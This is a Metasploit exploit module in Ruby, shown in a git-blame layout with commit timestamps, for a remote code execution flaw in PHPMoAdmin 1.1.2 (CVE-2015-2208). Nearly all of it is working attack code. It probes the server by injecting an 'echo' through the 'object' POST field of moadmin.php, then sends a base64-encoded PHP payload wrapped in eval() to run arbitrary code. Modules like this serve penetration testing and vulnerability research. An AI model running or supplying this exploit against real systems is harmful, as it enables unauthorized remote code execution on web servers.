2015-03-05 12:56:08 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2015-03-04 18:17:31 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2015-03-04 18:17:31 +00:00
|
|
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-03-05 17:29:44 +00:00
|
|
|
'Name' => 'PHPMoAdmin 1.1.2 Remote Code Execution',
|
2015-03-04 18:17:31 +00:00
|
|
|
'Description' => %q{
|
2015-03-04 21:59:08 +00:00
|
|
|
This module exploits an arbitrary PHP command execution vulnerability due to a
|
2015-03-04 18:17:31 +00:00
|
|
|
dangerous use of eval() in PHPMoAdmin.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-03-05 12:56:08 +00:00
|
|
|
'Pichaya Morimoto pichaya[at]ieee.org', # Public PoC
|
2015-03-04 18:17:31 +00:00
|
|
|
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-03-04 21:31:44 +00:00
|
|
|
[ 'CVE', '2015-2208' ],
|
2015-03-04 21:59:08 +00:00
|
|
|
[ 'EDB', '36251' ],
|
2015-03-04 18:17:31 +00:00
|
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Mar/19' ],
|
|
|
|
[ 'URL', 'http://seclists.org/oss-sec/2015/q1/743' ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => 'php',
|
2015-03-05 12:46:53 +00:00
|
|
|
'Arch' => ARCH_PHP,
|
2015-03-04 18:17:31 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'PHPMoAdmin', { } ],
|
|
|
|
],
|
2015-03-04 21:31:44 +00:00
|
|
|
'DisclosureDate' => 'Mar 03 2015',
|
2015-03-04 18:17:31 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, "The URI path of the PHPMoAdmin page", "/"])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2015-03-05 12:46:53 +00:00
|
|
|
testrun = Rex::Text::rand_text_alpha(10)
|
2015-03-04 18:17:31 +00:00
|
|
|
res = send_request_cgi({
|
2015-03-05 12:46:53 +00:00
|
|
|
'uri' => normalize_uri(target_uri,'moadmin.php'),
|
2015-03-04 18:17:31 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' =>
|
|
|
|
{
|
2015-03-05 12:46:53 +00:00
|
|
|
'object' => "1;echo '#{testrun}';exit",
|
2015-03-04 18:17:31 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2015-03-05 12:46:53 +00:00
|
|
|
if res and res.body.include?(testrun)
|
2015-03-04 18:17:31 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
print_status("Executing payload...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
2015-03-05 12:46:53 +00:00
|
|
|
'uri' => normalize_uri(target_uri,'moadmin.php'),
|
2015-03-04 18:17:31 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' =>
|
|
|
|
{
|
2015-03-05 12:46:53 +00:00
|
|
|
'object' => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
|
2015-03-04 18:17:31 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
2015-03-04 21:59:08 +00:00
|
|
|
|